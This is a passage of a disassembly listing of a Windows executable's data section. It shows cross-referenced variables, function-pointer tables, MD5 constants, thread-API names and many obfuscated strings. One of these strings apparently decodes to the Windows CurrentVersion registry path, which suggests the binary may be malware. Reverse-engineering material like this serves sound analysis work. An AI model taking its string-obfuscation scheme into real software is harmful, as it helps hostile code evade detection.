sub_43FD1A+5B9r ... dword_54C95C dd ? ; sub_43DEC5+79r ... dword_54C960 dd ? ; sub_43C7A3+2DAw ... dword_54C964 dd ? ; sub_43E77A+93r ... dword_54C968 dd ? ; sub_43DA48+2Dr ... dd ? dword_54C970 dd 40h dup(?) ; sub_441843+17Bo ... dword_54CA70 dd ? ; sub_44050C+9r ... dword_54CA74 dd ? ; sub_441522+217w ... dword_54CA78 dd ? ; sub_43C7A3+160w ... dd ? dword_54CA80 dd ? ; sub_441522+C7w ... dd 8 dup(?) dword_54CAA4 dd ? dword_54CAA8 dd ? dd ? dword_54CAB0 dd ? ; sub_441522+19Cw dd ? dword_54CAB8 dd ? ; sub_441522+15Dw dd ? dword_54CAC0 dd ? ; sub_441522+43w ... dd 2 dup(?) dword_54CACC dd ? dd 3 dup(?) dword_54CADC dd ? dd 3 dup(?) dword_54CAEC dd ? dd ? dword_54CAF4 dd ? dword_54CAF8 dd ? dd ? dword_54CB00 dd ? ; sub_444ED7+354r dd 3 dup(?) byte_54CB10 db ? ; DATA XREF: sub_43C501+F8w ; sub_43C501+135o ... db 3 dup(?) dd 3FFh dup(?) dword_54DB10 dd ? ; sub_43C7A3+E2w ... dword_54DB14 dd ? ; sub_43F803+Er ... dword_54DB18 dd ? ; sub_4395D8+149Ar ... dword_54DB1C dd ? ; sub_4440DD+9Dr ... dword_54DB20 dd ? ; sub_443B7F+6Br ... dd 0FEh dup(?) dword_54DF1C dd ? ; sub_43BD8A+85r ... dword_54DF20 dd ? ; sub_43CBAF+3Ar ... dd ? dword_54DF28 dd ? ; sub_44122A+28r ... dword_54DF2C dd ? ; sub_43ECD2+39r dword_54DF30 dd ? ; sub_43D41A+1EDr ... dword_54DF34 dd ? ; sub_440B82+2D4r ... dword_54DF38 dd ? ; sub_43FD1A+13Cr ... dword_54DF3C dd ? ; sub_43953F+Er ... byte_54DF40 db ? ; DATA XREF: sub_43D98E:loc_43DA07r ; sub_440E73+44o db 3 dup(?) dd 3Fh dup(?) dword_54E040 dd ? ; sub_4395D8+894r ... dword_54E044 dd ? ; sub_444E05+90w dword_54E048 dd ? dd ? dword_54E050 dd 6Ch dup(?) ; sub_43AAF7+60o ... _text ends ; Section 5. (virtual address 0014F000) ; Virtual size : 00001C00 ( 7168.) ; Section size in file : 00001C00 ( 7168.) ; Offset to raw data for section: 00023200 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 54F000h off_54F000 dd offset sub_445578 ; DATA XREF: .text:004381B5r dword_54F004 dd 0 ; sub_4381C3+64r dword_54F008 dd 0 dword_54F00C dd 0 ; sub_4381C3:loc_43823Cr dword_54F010 dd 0 align 8 dd 7325h aWr: ; DATA XREF: sub_4381C3+3Do ; sub_4381C3+4Fo ... unicode 0, <wr>,0 align 4 dd 4 dup(0) dword_54F034 dd 0 dword_54F038 dd 0 ; .text:00438117r ... dword_54F03C dd 0 dword_54F040 dd 14h dup(0) ; .text:0043811Fo dword_54F090 dd 4 ; sub_438324+1F1r ... word_54F094 dw 2 ; DATA XREF: sub_438324:loc_438384r ; sub_4395D8+1BAr ... align 4 dword_54F098 dd 9 ; sub_438324+BD1r ... word_54F09C dw 6 ; DATA XREF: sub_43BE84+145r ; sub_43E364+244r ... align 10h dword_54F0A0 dd 3 ; sub_438324+853r ... dword_54F0A4 dd 7 ; sub_438324+9F9r ... word_54F0A8 dw 0 ; DATA XREF: sub_438324+178r ; sub_4395D8+1255r ... align 4 dword_54F0AC dd 7 ; sub_438324+42Cr ... dword_54F0B0 dd 5 ; sub_43CCB6+2Cr ... word_54F0B4 dw 5 ; DATA XREF: sub_438324+1AEr ; sub_4395D8+C28r ... align 4 dword_54F0B8 dd 4 ; sub_4395D8+A93r ... dword_54F0BC dd 0 ; sub_438324+7E4r ... dword_54F0C0 dd 2 ; sub_4395D8+9A9r ... word_54F0C4 dw 6 ; DATA XREF: sub_438324+138r ; sub_438324+306r ... align 4 dword_54F0C8 dd 1 ; sub_438324+2D9r ... word_54F0CC dw 1 ; DATA XREF: sub_438324+343r ; sub_438324+A5Ar ... align 10h word_54F0D0 dw 6 ; DATA XREF: sub_43946B+2Fr ; sub_4395D8+18Fr ... align 4 dword_54F0D4 dd 5 ; sub_438324+E4Fr ... dword_54F0D8 dd 6 ; sub_438324+EBDr ... dword_54F0DC dd 4 ; sub_43D090+2BEr ... dword_54F0E0 dd 6 ; sub_438324+A64r ... dword_54F0E4 dd 5 ; sub_43ABE6+90r ... dword_54F0E8 dd 1 ; sub_43ADF1+226r ... dword_54F0EC dd 1 ; sub_4395D8+831r ... dword_54F0F0 dd 3 ; sub_4395D8+6F0r ... word_54F0F4 dw 2 ; DATA XREF: sub_438324+377r ; sub_4395D8+EBFr ... align 4 word_54F0F8 dw 5 ; DATA XREF: sub_438324+5FAr ; sub_438324+6C0r ... align 4 word_54F0FC dw 2 ; DATA XREF: sub_438324+692r ; sub_438324+6FDr ... align 10h dword_54F100 dd 9 ; sub_43B3AD+B0r ... word_54F104 dw 0 ; DATA XREF: sub_438324+756r ; sub_4395D8+8CFr ... align 4 dword_54F108 dd 8 ; sub_43ADF1+11Fr ... dword_54F10C dd 2 ; sub_438324+B03r ... dword_54F110 dd 9 ; sub_4395D8+126Cr ... dword_54F114 dd 1 ; sub_43B0C6:loc_43B120r ... word_54F118 dw 8 ; DATA XREF: sub_438324+B7Br ; sub_43ABE6+1CEr ... align 4 dword_54F11C dd 2 ; sub_438324+C76r ... dword_54F120 dd 8 ; sub_438324+A49r ... dword_54F124 dd 2 ; sub_438324+EA3r ... word_54F128 dw 5 ; DATA XREF: sub_438324+1C8r ; sub_438324+2ABr ... align 4 dword_54F12C dd 8 ; sub_4395D8+4EDr ... dword_54F130 dd 1 ; sub_438324+F17r ... dword_54F134 dd 2 ; sub_4395D8+4BFr ... word_54F138 dw 3 ; DATA XREF: sub_438324:loc_43870Fr ; sub_438324+664r ... align 4 word_54F13C dw 9 ; DATA XREF: sub_438324+18Cr ; sub_438324+54Dr ... align 10h dword_54F140 dd 1 ; sub_438324+3BFr ... word_54F144 dw 4 ; DATA XREF: sub_438324+10Ar ; sub_438324+24Er ... align 4 word_54F148 dw 1 ; DATA XREF: sub_438324+687r ; sub_438324+710r ... align 4 dword_54F14C dd 2 ; sub_4395D8+81Er ... dword_54F150 dd 4 ; sub_4395D8+1155r ... dword_54F154 dd 8 ; sub_438324+327r ... dword_54F158 dd 3 ; sub_438324+B0Dr ... dword_54F15C dd 4 ; sub_43BE84+ECr ... dword_54F160 dd 7 ; sub_438324+B8Er ... word_54F164 dw 1 ; DATA XREF: sub_438324+A3Br ; sub_4395D8:loc_43A174r ... align 4 dword_54F168 dd 2 ; sub_438324+E39r ... dword_54F16C dd 5 ; sub_4395D8+28Br ... dword_54F170 dd 4 ; sub_438324:loc_438625r ... dword_54F174 dd 7 ; sub_438324+7DAr ... dword_54F178 dd 9 ; sub_43B0C6:loc_43B0DDr ... dword_54F17C dd 7 ; sub_438324+C71r ... dword_54F180 dd 0 ; sub_438324+C2Fr ... dword_54F184 dd 4 ; sub_4395D8+5C2r ... dword_54F188 dd 5 ; sub_4395D8+163r ... dword_54F18C dd 1 ; sub_4395D8+925r ... word_54F190 dw 8 ; DATA XREF: sub_438324+F64r ; sub_4395D8+590r ... align 4 word_54F194 dw 1 ; DATA XREF: sub_438324+519r ; sub_438324+BE1r ... align 4 word_54F198 dw 1 ; DATA XREF: sub_438324+1F9r ; sub_438324:loc_438671r ... align 4 dword_54F19C dd 4 ; sub_438324+7C5r ... dword_54F1A0 dd 8 ; sub_4395D8+11EDr ... word_54F1A4 dw 6 ; DATA XREF: sub_438324:loc_438701r ; sub_438324+9A7r ... align 4 word_54F1A8 dw 0 ; DATA XREF: sub_438324+D15r ; sub_4395D8+56r ... align 4 dword_54F1AC dd 2 ; sub_438324+233r ... dword_54F1B0 dd 7 ; sub_4395D8+E54r ... dword_54F1B4 dd 4 ; sub_439556:loc_4395C2r ... dword_54F1B8 dd 4 ; sub_43B76D+14Br ... dword_54F1BC dd 6 ; sub_438324+AF8r ... dword_54F1C0 dd 1 ; sub_438324+B75r ... word_54F1C4 dw 8 ; DATA XREF: sub_438324+432r ; sub_438324+9F2r ... align 4 dword_54F1C8 dd 8 ; sub_43AAF7+C1r ... word_54F1CC dw 9 ; DATA XREF: sub_438324+717r ; sub_438324+AF1r ... align 10h dword_54F1D0 dd 7 ; sub_43B0C6+73r ... dword_54F1D4 dd 8 ; sub_438324+997r ... dword_54F1D8 dd 4 ; sub_4395D8+11DDr ... dword_54F1DC dd 0 ; sub_438324+E49r ... dword_54F1E0 dd 4 ; sub_438324+59Er ... dword_54F1E4 dd 4 ; sub_438324+899r ... word_54F1E8 dw 7 ; DATA XREF: sub_438324+AC1r ; sub_4395D8+F69r ... align 4 dword_54F1EC dd 3 ; sub_4395D8+12DDr ... word_54F1F0 dw 6 ; DATA XREF: sub_438324+520r ; sub_43ABE6+D4r ... align 4 dword_54F1F4 dd 9 ; sub_4395D8+296r ... dword_54F1F8 dd 3 ; sub_4395D8+93Ar ... dword_54F1FC dd 0 ; sub_438324+2C6r ... dword_54F200 dd 5 ; sub_438324+BC1r ... dword_54F204 dd 2 ; sub_438324+7BBr ... word_54F208 dw 1 ; DATA XREF: sub_438324+F4r ; sub_438324+CD4r ... align 4 dword_54F20C dd 4 ; sub_438324+8E8r ... word_54F210 dw 5 ; DATA XREF: sub_438324+238r ; sub_438324+440r ... align 4 dword_54F214 dd 3 ; sub_438324+886r ... word_54F218 dw 0 ; DATA XREF: sub_438324+193r ; sub_43C284+F3r ... align 4 dword_54F21C dd 4 ; sub_43C114+C0r ... dword_54F220 dd 2 ; sub_438324+630r ... dword_54F224 dd 1 ; sub_43B535+8Ar ... dword_54F228 dd 8 ; sub_438324+7A9r ... dword_54F22C dd 7 ; sub_438324+BCAr ... dword_54F230 dd 1 ; sub_438324+F47r ... dword_54F234 dd 8 ; sub_438324+8BAr ... dword_54F238 dd 0 ; sub_438324+3AAr ... dword_54F23C dd 0 ; sub_4395D8+11C6r ... word_54F240 dw 8 ; DATA XREF: sub_438324+ABAr ; sub_4395D8+1032r ... align 4 word_54F244 dw 7 ; DATA XREF: sub_4395D8+B63r ; sub_4395D8+12B9r ... align 4 dword_54F248 dd 4 ; sub_4395D8+51r ... dword_54F24C dd 9 ; sub_438324+D4Dr ... dword_54F250 dd 0 ; sub_43AAF7+1Ew ... dword_54F254 dd 0 ; sub_43B76D+26Ar ... dword_54F258 dd 0 ; sub_43C397+20r ... dword_54F25C dd 0 ; sub_4408C5+22r ... dword_54F260 dd 0 ; sub_441272+20r ... dword_54F264 dd 0 ; sub_4407D3+26r ... dword_54F268 dd 0 ; sub_444E05+22r ... dword_54F26C dd 0 ; sub_43FB17+13w ... dword_54F270 dd 0 ; sub_443E1B+13w ... dword_54F274 dd 0 ; sub_43B309+29r ... dword_54F278 dd 0 ; sub_443885+26r ... dword_54F27C dd 0 ; sub_43BD23+29r ... dword_54F280 dd 0 ; sub_43CBF8+20r ... dword_54F284 dd 0 ; sub_44122A+37w ... dword_54F288 dd 0 ; sub_43DA48+24r ... dword_54F28C dd 0 ; sub_43ECD2+11Fw ... dword_54F290 dd 0E860h, 0E9610000h, 2 dup(0)dword_54F2A0 dd 0 ; sub_43D090+350w ... dword_54F2A4 dd 0 ; sub_4404CE:loc_4404FFr ... off_54F2A8 dd offset sub_43DA81 ; DATA XREF: sub_441F06+689o dd offset sub_43F803 dd offset sub_43FA78 dd offset sub_43C79B dd offset sub_44387D dd offset sub_441E26 dd offset sub_43CE88 dword_54F2C4 dd 0 ; sub_440B82+160r ... off_54F2C8 dd offset sub_439556 ; DATA XREF: .data:off_54F2E4o dd offset sub_43953F dd offset sub_43B4E1 dd offset sub_43B713 dd offset sub_445513 dd offset sub_4412D0 dd offset sub_4394E9 off_54F2E4 dd offset off_54F2C8 ; DATA XREF: sub_43C652+C0o ; sub_441B74+144o dword_54F2E8 dd 0 ; sub_43C652+72r ... off_54F2EC dd offset sub_443D93 ; DATA XREF: .data:off_54F308o dd offset sub_4437CA dd offset sub_43B508 dd offset sub_44178D dd offset sub_439537 dd offset sub_43C27C dd offset sub_43C652 off_54F308 dd offset off_54F2EC ; DATA XREF: sub_441B74:loc_441D34o aLeavecriticals db 'LeaveCriticalSection',0 ; DATA XREF: sub_43DFC1+2C9o aCreatethread db 'CreateThread',0 ; DATA XREF: sub_43DFC1+2DCo aEntercriticals db 'EnterCriticalSection',0 ; DATA XREF: sub_43DFC1+300o aInitializecrit db 'InitializeCriticalSection',0 ; DATA XREF: sub_43DFC1+313o align 10h dword_54F360 dd 0D76AA478h, 0E8C7B756h, 242070DBh, 0C1BDCEEEh, 0F57C0FAFh ; DATA XREF: sub_43F052+2Fo dd 4787C62Ah, 0A8304613h, 0FD469501h, 698098D8h, 8B44F7AFh dd 0FFFF5BB1h, 895CD7BEh, 6B901122h, 0FD987193h, 0A679438Eh dd 49B40821h dword_54F3A0 dd 0F61E2562h, 0C040B340h, 265E5A51h, 0E9B6C7AAh, 0D62F105Dh ; DATA XREF: sub_43F052+3Fo dd 2441453h, 0D8A1E681h, 0E7D3FBC8h, 21E1CDE6h, 0C33707D6h dd 0F4D50D87h, 455A14EDh, 0A9E3E905h, 0FCEFA3F8h, 676F02D9h dd 8D2A4C8Ah dword_54F3E0 dd 0FFFA3942h, 8771F681h, 6D9D6122h, 0FDE5380Ch, 0A4BEEA44h ; DATA XREF: sub_43F052+52o dd 4BDECFA9h, 0F6BB4B60h, 0BEBFBC70h, 289B7EC6h, 0EAA127FAh dd 0D4EF3085h, 4881D05h, 0D9D4D039h, 0E6DB99E5h, 1FA27CF8h dd 0C4AC5665h dword_54F420 dd 0F4292244h, 432AFF97h, 0AB9423A7h, 0FC93A039h, 655B59C3h ; DATA XREF: sub_43F052+65o dd 8F0CCC92h, 0FFEFF47Dh, 85845DD1h, 6FA87E4Fh, 0FE2CE6E0h dd 0A3014314h, 4E0811A1h, 0F7537E82h, 0BD3AF235h, 2AD7D2BBh dd 0EB86D391h off_54F460 dd offset loc_444C3A ; DATA XREF: sub_444AA8+18Br dd offset loc_444C45 dd offset loc_444C9B dd offset loc_444CF7 dword_54F470 dd 4, 6A0028h, 6C0067h, 71hdword_54F480 dd 0B1DA0006h, 0ACF7ABB1h db 0A2h, 0 word_54F48A dw 6 ; DATA XREF: sub_444ED7+1F0o dd 0A2B8B8D3h, 0ABA5FEh dword_54F494 dd 0A5CE0006h, 0B8E3BFA5h db 0B6h, 0 word_54F49E dw 8 ; DATA XREF: sub_444ED7+107o dd 2B075174h, 510C0019h db 1, 0 word_54F4AA dw 6 ; DATA XREF: sub_444ED7+C5o dd 68727219h, 616F34h dword_54F4B4 dd 3E1B0007h, 6F764468h db 63h, 2Ah, 0 byte_54F4BF db 0Ch ; DATA XREF: sub_444E05+B1o dd 80ADE900h, 8CAE999Ah, 9B88B99Dh db 88h, 84h, 0 byte_54F4CF db 0Bh ; DATA XREF: sub_444E05+95o dd 0A691C700h, 0A9A6AEB5h, 0AEA98EB3h db 0B3h, 0 word_54F4DE dw 0Ch ; DATA XREF: sub_444E05+79o aLsglduijpls db '꼋˜ƒ‹„©†‹˜',0 word_54F4EE dw 0Eh ; DATA XREF: sub_444E05+5Do dd 0E3E9C390h, 0FFFCFCD1h, 0E2E4C3F3h, 0F7FEF9h dword_54F500 dd 0D685000Dh, 0F7C3F6FCh, 0F1D6E0E0h, 0E2EBECF7h ; DATA XREF: sub_444E05:loc_444E46o db 0 byte_54F511 db 0Ch, 0, 3Ah ; DATA XREF: sub_444E05+2Ao dd 5B5F5655h, 8094E4Fh, 56565E14h db 0 byte_54F521 db 0Ch, 0, 24h ; DATA XREF: sub_444E05+1o dd 4541484Bh, 16175051h, 4848400Ah db 0 byte_54F531 db 4, 0, 42h ; DATA XREF: sub_444250+4BAo aL6 db 'l',0 asc_54F539 db 0Bh,0 ; DATA XREF: sub_444250+43Co aTISiRkvv db 'Î’¾ë»‘ë»àª¢¢',0 dword_54F548 dd 0F1A70001h db 0 byte_54F54D db 1, 0, 86h ; DATA XREF: sub_4440DD+21o db 0D3h, 0 word_54F552 dw 17h ; DATA XREF: sub_443E8D:loc_444094o aSSSSSsSSSST db '¼™ß™ß™ß™ß‘™ß™ß™ß™ß™ß’ßÓÑ',0 byte_54F56D db 16h, 0, 8Dh ; DATA XREF: sub_443E8D+1C1o dd 2 dup(0EEA8EEA8h), 0A8A0EEA8h, 0A8EEA8EEh, 0A3EEA8EEh db 0FFh, 0F8h, 0 byte_54F587 db 0Ah ; DATA XREF: sub_443E1B+27o dd 5B4E3D00h, 4E52625Eh, 51515913h db 0 byte_54F595 db 0Ah, 0, 86h ; DATA XREF: sub_443E1B+1o dd 0D9E5E0F5h, 0E2A8F5E9h db 2 dup(0EAh), 0 byte_54F5A3 db 4 ; DATA XREF: sub_443B7F:loc_443BB3o dd 0E6A08500h db 0BFh, 0D9h, 0 byte_54F5AB db 10h ; DATA XREF: sub_443885+16Bo dd 0D7E0B200h, 0D7C7E3D5h, 0D3E4CBC0h, 0F7D7C7DEh db 0CAh, 0F3h, 0 byte_54F5BF db 10h ; DATA XREF: sub_443885+156o dd 86B9F600h, 84A69893h, 85939599h, 9D99A285h db 93h, 98h, 0 byte_54F5D3 db 13h ; DATA XREF: sub_443885+141o dd 94B6F100h, 9A9EA585h, 9FB89F94h, 9C839E97h, 9E988590h db 9Fh, 0 off_54F5EA dd offset dword_49001C ; DATA XREF: sub_443885+12Co dw 2027h dd 2528203Dh, 1A2C3320h, 3B3C2A2Ch, 0D303D20h, 3B2A3A2Ch dd 263D3920h db 3Bh, 0 word_54F60A dw 0Ch ; DATA XREF: sub_443885+117o dd 17062463h, 11061036h, 60E022Dh db 22h, 0 word_54F61A dw 0Dh ; DATA XREF: sub_443885+102o dd 21231446h, 28233609h, 33F230Dh db 3Eh, 7, 0 byte_54F62B db 1Ah ; DATA XREF: sub_443885+EDo dd 0C3F5A600h, 0C5C3F5D2h, 0D2CFD4D3h, 0D5C3E2DFh, 0D6CFD4C5h dd 0E9D4C9D2h, 0D4C3C8D1h db 0 byte_54F649 db 12h, 0, 0C4h ; DATA XREF: sub_443885+D8o aGbCnacJeMlN db 'ƒ¡°— —±¦…±°¬«¶°½',0 byte_54F65F db 10h ; DATA XREF: sub_443885+C3o dd 0A395C600h, 0AAAF80B2h, 0A5A395A3h, 0B2AFB4B3h db 0BFh, 87h, 0 byte_54F673 db 15h ; DATA XREF: sub_443885+AEo dd 0C2E1AD00h, 0DDD8C6C2h, 0DBC4DFFDh, 0CAC8C1C4h, 0C1CCFBC8h dd 0ECC8D8h dword_54F68C dd 0F5B20017h, 0DBE1C6D7h, 0D0C7E1D6h, 0DAC6C7F3h, 0C6DBC0DDh ; DATA XREF: sub_443885+99o dd 0C7DDF1CBh db 0DCh, 0C6h, 0 byte_54F6A7 db 15h ; DATA XREF: sub_443885+84o db 0 db 5, 44h, 61h aOpvqqjnKuwlsli db 'opvqQjn`kUwlsli`b`v',0 asc_54F6C0 db 0Bh,0 ; DATA XREF: sub_443885+6Fo aZmokdgMcmq db '(zMOkDG[McMQ',0 byte_54F6CF db 19h ; DATA XREF: sub_443885+5Ao dd 0B391D600h, 0B2BF85A2h, 0B8B3B29Fh, 0BFB0BFA2h, 0A397A4B3h dd 0A4B9BEA2h, 0AFA2BFh dword_54F6EC dd 14470019h, 22143322h, 2E353224h, 22033E33h, 2E352434h ; DATA XREF: sub_443885:loc_4438CAo dd 35283337h, 2B242603h db 0 byte_54F709 db 0Ch, 0, 0CDh ; DATA XREF: sub_443885+2Eo dd 0ACBBA9ACh, 0FFFEA4BDh, 0A1A1A9E3h db 0 byte_54F719 db 0Ch, 0, 0EEh ; DATA XREF: sub_443885+1o aPkspuzKvv db 'Š˜‡İÜÀŠ‚‚',0 byte_54F729 db 1, 0, 14h ; DATA XREF: sub_44296E+DB6o db 68h, 0 word_54F72E dw 2 ; DATA XREF: sub_44296E+D8Ao dd 0ADF1D1h dword_54F734 dd 0C6FC0001h db 0 byte_54F739 db 4, 0, 1Bh ; DATA XREF: sub_44296E:loc_443621o aN db ';>n!',0 byte_54F741 db 1, 0, 9 ; DATA XREF: sub_44296E+746o db 75h, 0 word_54F746 dw 0Ah ; DATA XREF: sub_44296E+4FCo dd 770D1131h, 0B7C637Eh, 0F4414h dword_54F754 dd 0D4F4000Bh, 0B5A6B2C8h, 0D1CEB1B9h db 81h, 0CAh, 0 byte_54F763 db 0Ah ; DATA XREF: sub_44296E+303o dd 0BBA78700h, 0CAC6D5C1h, 0B9CABDC2h, 0 dword_54F774 dd 5, 7C000Ah, 66006Bh, 6F007Fh, 0dword_54F788 dd 4, 52003Ch, 51005Dh, 59hdword_54F798 dd 0E2E0002h db 0Eh, 0 word_54F79E dw 1 ; DATA XREF: sub_4427CD:loc_4428C9o db 0BBh, 94h, 0 byte_54F7A3 db 12h ; DATA XREF: sub_4427CD:loc_442818o dd 0DEC0AD00h, 0DEC1D9CEh, 0CCD9DEF2h, 0CFDED8D9h, 9F9EDFCCh db 0 byte_54F7B9 db 0Eh, 0, 0FEh ; DATA XREF: sub_4427CD+10o aKqIcrSiTqnn db 'ªŸœ©—𑉽’Ÿ',0 byte_54F7CB db 3 ; DATA XREF: sub_441F06+32Eo dd 71251E00h db 23h, 0 word_54F7D2 dw 4 ; DATA XREF: sub_441F06:loc_4421A9o dd 716D251Eh db 23h, 0 word_54F7DA dw 4 ; DATA XREF: sub_441F06:loc_442170o dd 0C198C7FCh db 0D6h, 0 word_54F7E2 dw 4 ; DATA XREF: sub_441F06+224o dd 0CF96C9F2h, 0D3h dword_54F7EC dd 3, 590010h, 57005Dh db 2 dup(0) word_54F7FA dw 1 ; DATA XREF: sub_441DB2+46o db 96h, 0CAh, 0 byte_54F7FF db 0Fh ; DATA XREF: sub_441843+13Eo dd 7B2D0800h, 646E6C54h, 3B727D2Dh, 646C263Ah db 64h, 0 word_54F812 dw 10h ; DATA XREF: sub_441843+10Do dd 98B7E1C4h, 0E1B6B7B3h, 0F7B0BEB1h, 0A8A0EAF6h db 0A8h, 0 word_54F826 dw 0Bh ; DATA XREF: sub_441843+A2o dd 8EA1F7D2h, 0A7F7A1F7h, 0A1BEBCFCh db 0 byte_54F835 db 0Fh, 0, 0B6h ; DATA XREF: sub_441843+74o aUUEds db '“ÅêİĞ“ÃÚÌ…„˜ÒÚÚ',0 dword_54F848 dd 8BAE0004h, 0F69C80hdword_54F850 dd 0CDE80001h db 0 byte_54F855 db 2, 0, 0FAh ; DATA XREF: sub_441795:loc_4417DCo db 0DFh, 99h, 0 byte_54F85B db 9 ; DATA XREF: sub_4412D8+1E7o dd 0CCEEBE00h, 0DDCBDAD1h, 0DAF7CAh unk_54F868 db 2Ch ; , ; DATA XREF: sub_4412D8+1D7o align 2 dw 5506h aI@rqgtczkoetiu db 'I@RQGTCZKoetiui`rZQohbiqu&HRZEsttchrPctuoih',0 asc_54F898 db 9,0 ; DATA XREF: sub_4412D8+179o dw 2F7Fh dd 0A1B100Dh, 1B360B1Ch db 0 byte_54F8A5 db 29h, 0, 1 ; DATA XREF: sub_4412D8+169o aRnguv@sdLhbsnr db 'RNGUV@SD]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno',0 word_54F8D2 dw 1 ; DATA XREF: sub_4412D8+14Do db 0A4h, 8Ah, 0 byte_54F8D7 db 4 ; DATA XREF: sub_4412D8+EAo dd 0E4ECC100h db 99h, 0EFh, 0 byte_54F8DF db 3 ; DATA XREF: sub_4412D8+9Do dd 6B325100h db 0Dh, 0 word_54F8E6 dw 8 ; DATA XREF: sub_4412D8:loc_44133Do dd 45F0F2Ah, 0F045F0Fh db 5Fh, 0 word_54F8F2 dw 2 ; DATA XREF: sub_4412D8+50o dd 0E7FDB3h dword_54F8F8 dd 0CAF30002h db 0ABh, 0 word_54F8FE dw 0Bh ; DATA XREF: sub_441272:loc_4412B1o aKzmiMngfI db '(kZMI\MnGF\i',0 asc_54F90D db 9,0 ; DATA XREF: sub_441272+28o aVgq db '±ÖÕØ‚ƒŸÕİİ',0 asc_54F91A db 9,0 ; DATA XREF: sub_441272+1o aS47A7?? db 'S47:`a}7??',0 asc_54F927 db 0Dh,0 ; DATA XREF: sub_440FB0:loc_44118Fo db 12h, 61h, 6Bh dd 7F776661h, 747D6062h, 777E7Bh dword_54F938 dd 187D0006h, 1E140B0Fh db 18h, 0 word_54F942 dw 1 ; DATA XREF: sub_440FB0+105o db 0Eh, 2Ah, 0 byte_54F947 db 6 ; DATA XREF: sub_440FB0:loc_441055o dd 414B1800h, 555D4C4Bh db 0 byte_54F951 db 8, 0, 0Fh ; DATA XREF: sub_440FB0:loc_44100Fo aJYflj db '/\J]YFLJ',0 a@ db '@',0 ; DATA XREF: sub_440E73:loc_440EABo db 18h db 59h ; Y db 5Ah, 5Bh, 5Ch db 5Dh ; ] db 5Eh, 5Fh, 50h db 51h ; Q db 52h, 53h, 54h db 55h ; U db 56h, 57h, 48h db 49h ; I db 4Ah, 4Bh, 4Ch db 4Dh ; M db 4Eh, 4Fh, 40h db 41h ; A db 42h, 79h, 7Ah db 7Bh ; { db 7Ch, 7Dh, 7Eh db 7Fh ; aPqrstuvwhijklm db 'pqrstuvwhijklmno`ab()*+,-./ !37',0 align 4 asc_54F9A4: ; DATA XREF: sub_440B82+28Fo dw 9 unicode 0, <>,0 aI db '¨',0 db 'Ê',0 db 'Í',0 db 'Î',0 db 'Ç',0 db 'Ú',0 db 'Í',0 aA db 'í',0 db 'Æ',0 db 'Ì',0 db 2 dup(0) word_54F9BE dw 20h ; DATA XREF: sub_440B82+1F9o dd 70237550h, 6D332223h, 20242438h, 757F7F6Ah, 6D386F23h dd 26762375h, 7625756Dh, 23756D20h db 6Eh, 0 word_54F9E2 dw 43h ; DATA XREF: sub_440B82+16Eo dd 21722401h, 3C627372h, 71757569h, 242E2E3Bh, 3C693E72h dd 68277224h, 2474243Ch, 3C6E2772h, 67277424h, 2762243Ch dd 243C6872h, 6E722772h, 2774243Ch, 243C6D75h, 3C772774h dd 65277424h, 3F72243Ch db 0 byte_54FA29 db 10h, 0, 0BDh ; DATA XREF: sub_440B82+F0o aSAAsTvAsG db '˜ÎÎÏŞ€˜Î’‚Û€˜Şƒ',0 byte_54FA3D db 1Eh, 0, 49h ; DATA XREF: sub_440B82+91o aU_iTyi_TyiTy db 'u $.i> -=!tyi!, .!=tyi+&;-,;ty',0 asc_54FA5F db 7,0 ; DATA XREF: sub_440B82+60o db 0C7h, 0FBh, 0A5h dd 0A5E8FBF9h db 0F9h, 0 word_54FA6A dw 0Bh ; DATA XREF: sub_4408C5+224o dd 1D0B236Eh, 0B090F1Dh, 2F16012Ch db 0 byte_54FA79 db 0Dh, 0, 74h ; DATA XREF: sub_4408C5+20Fo dd 71130h, 230D1B06h, 1B101A1Dh db 3, 0 word_54FA8A dw 0Eh ; DATA XREF: sub_4408C5+1FAo aAZdDzLzt db 'Ó€¶§„º½·¼¤‡¶«§’',0 dword_54FA9C dd 0B4E0012h, 0A233B20h, 3A253D2Bh, 27193E21h, 39212A20h ; DATA XREF: sub_4408C5+1E5o asc_54FAB0: ; DATA XREF: sub_4408C5+1D0o unicode 0, <=> dw 0Ah dw 0ACE1h aOcdIpeoc db '—„¶ˆ…–',0 dword_54FAC0 dd 54100010h, 71606379h, 5D787364h, 71636375h, 517577h ; DATA XREF: sub_4408C5+1BBo dword_54FAD4 dd 81C6000Bh, 0A38BB2A3h, 0A1A7B5B5h db 0A3h, 87h, 0 byte_54FAE3 db 9 ; DATA XREF: sub_4408C5+191o dd 77551200h, 7C7B4566h, 657D76h dword_54FAF0 dd 0B0F7000Dh, 9EA08392h, 80989399h, 839492A5h db 0 byte_54FB01 db 0Fh, 0, 0E6h ; DATA XREF: sub_4408C5+167o aEzkkPivisFiez db '¥‡ŠŠ±ˆ‚‰‘¶”‰…§',0 dword_54FB14 dd 88CF000Eh, 0A698BBAAh, 0B8A0ABA1h, 0BBB7AA9Bh ; DATA XREF: sub_4408C5+152o db 8Eh, 0 word_54FB26 dw 0Dh ; DATA XREF: sub_4408C5+13Do dd 0F1E3C7Bh, 81A1738h, 161A3508h db 1Eh, 3Ah, 0 byte_54FB37 db 0Eh ; DATA XREF: sub_4408C5+128o dd 4C7A2900h, 47407E5Dh, 655E464Dh, 684E4746h db 0 byte_54FB49 db 0Ch, 0, 0EAh ; DATA XREF: sub_4408C5+113o aPdozpsslnpl db '¹„§™™‹«',0 byte_54FB59 db 10h, 0, 0D3h ; DATA XREF: sub_4408C5+FEo aZbAZUAa db '‡¡²½ ¿²§¶¶ ²´¶',0 asc_54FB6D db 8,0 ; DATA XREF: sub_4408C5+E9o aXAsMiac db 'å¶€‘±Œˆ€—',0 asc_54FB79 db 8,0 ; DATA XREF: sub_4408C5+D4o aMJxqKm db '>m[JxQ]KM',0 byte_54FB85 db 0Eh, 0, 0F8h ; DATA XREF: sub_4408C5+BFo aKaqslmakFsll db 'ªŸ‘‹ŒŠ»”™‹‹¹',0 asc_54FB97 db 0Ah,0 ; DATA XREF: sub_4408C5+AAo db 80h, 0D3h, 0E8h dd 0E9D7F7EFh, 0F7EFE4EEh db 0 byte_54FBA5 db 0Dh, 0, 15h ; DATA XREF: sub_4408C5+95o aSQbQzbpmt db 'S|{qB|{qzbPmT',0 word_54FBB6 dw 0Fh ; DATA XREF: sub_4408C5+80o dd 35221350h, 7352431h, 3F343E39h, 11281527h db 0 byte_54FBC9 db 13h, 0, 45h ; DATA XREF: sub_4408C5+6Bo dd 3312002h, 